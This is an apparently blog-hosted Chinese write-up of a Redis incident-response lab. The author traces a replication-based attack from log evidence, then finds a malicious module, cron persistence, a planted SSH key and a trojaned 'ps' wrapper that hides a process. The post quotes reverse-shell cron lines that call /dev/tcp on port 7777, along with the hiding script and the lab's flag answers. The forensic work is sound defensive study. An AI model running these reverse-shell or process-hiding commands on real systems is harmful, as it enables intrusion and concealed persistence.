第二章日志分析-redis应急响应
知识点
1.redis日志: /var/log/redis.log
2.redis主从复制getshell
3.redis利用计划任务反弹shell
4.redis写公钥
题解
服务器场景操作系统 Linux
服务器账号密码 root xjredis
1.通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少
# 浅看redis日志 查看/var/log/redis.log的redis日志, 发现了3个IP地址, 192.168.200.2 192.168.100.13 192.168.31.55 和 192.168.100.20 且从MASTER <-> REPLICA sync started 能看出来redis是进行了主从复制操作的. 那么很有可能攻击者是利用redis主从复制getshell. # 主从复制攻击 对于redis主从复制攻击, 攻击者需要将攻击机设为主机, 被攻击的redis设为从机 利用redis主从复制的功能通过 FULLRESYNC 将主机上的文件同步复制至从机上 然后再利用redis4.x/5.x的指令可以通过外部加载的特性, 加载恶意so文件从而实现利用redis完成提权从而执行系统命令 # 主服务器的切换 日志显示了几次主服务器地址的更改,从 192.168.100.13:8888 切换到 192.168.31.55:8888,然后再次切换到 192.168.100.20:8888 # redis日志中出现的4个ip地址 从日志中的 addr=192.168.200.2:64289 可以看出 尝试连接的从服务器的 IP 地址是192.168.200.2,端口是 64289。 192.168.100.13、192.168.31.55、192.168.100.20均分别作为过主机 且192.168.100.13在主从复制同步时出现过同步失败. 从日志文件的223行-226行可以看出在192.168.100.20 进行了主从同步后 从机还进行了恶意模块加载的操作:Module 'system' loaded from ./exp.so 因此可以判定攻击成功的ip是 192.168.100.20; 192.168.100.13进行过攻击尝试但失败了 192.168.31.55因记录数较少且没有明显恶意行为, 因此判定为可疑 flag{192.168.100.20}
2.通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
通过第一问的分析可以得知黑客第一次上传的恶意文件是exp.so 从根目录找到exp.so ➜ strings exp.so | grep "flag" flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
3.通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少
# 从系统日志/var/log/syslog.1中可以明确发现 Aug 1 00:01:01 redis-yingji CRON[2944]: (root) CMD (/bin/sh -i >& /dev/tcp/192.168.100.20/7777 0>&1) 因此可以确定, 攻击者写了计划任务, 且反弹的IP是192.168.100.20 # 为了确保准确和全面, 再去查看计划任务: ➜ crontab -l # Edit this file to introduce tasks to be run by cron. # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any'). # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # For more information see the manual pages of crontab(5) and cron(8) */1 * * * * /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1 # m h dom mon dow command 发现计划任务里反弹shell的ip为192.168.100.13 结合系统日志和计划任务, flag本应是 flag{192.168.100.13, 192.168.100.20} 但是奈何题目伞兵, 答案如下: flag{192.168.100.13}
4.通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串
# 这里对应的是redis写公钥, 因此.ssh目录中会存在authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user # 使用xj-test-user在github上搜索下, 这一步是真没想出来, 看的wp, 新操作get flag{xj-test-user-wow-you-find-flag}
5.通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
# 这题没看wp前真是想不出来咋写了, 参考了下别人写的wp, 从/usr/bin里面找异常(执行结果截取片段) ➜ ls -al /usr/bin/ -rwxrwxrwx 1 root root 178 Jul 31 2023 ps -rwxr-xr-x 1 root root 133432 Jul 31 2023 ps_ # 这里能看出来ps是有问题的, 因为ps的权限不应该是-rwxrwxrwx, 而应该是-rwxr-xr-x, 查看下ps的内容 # ps被篡改后的作用为获取 ps_ 命令的输出,并按行处理和输出结果。 ➜ cat /usr/bin/ps #/bin/bash oldifs="$IFS" IFS='\$n' result=$(ps_ $1 $2 $3|grep -v 'threadd' ) for v in $result; do echo -e "$v\t"; done IFS="$oldifs" #//c195i2923381905517d818e313792d196 flag{c195i2923381905517d818e313792d196}
参考
https://blog.csdn.net/administratorlws/article/details/140024637#_PC_SSH_FLAG__630
本文作者:Fxe0_0
本文链接:https://www.cnblogs.com/Fxe00/p/18343243
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步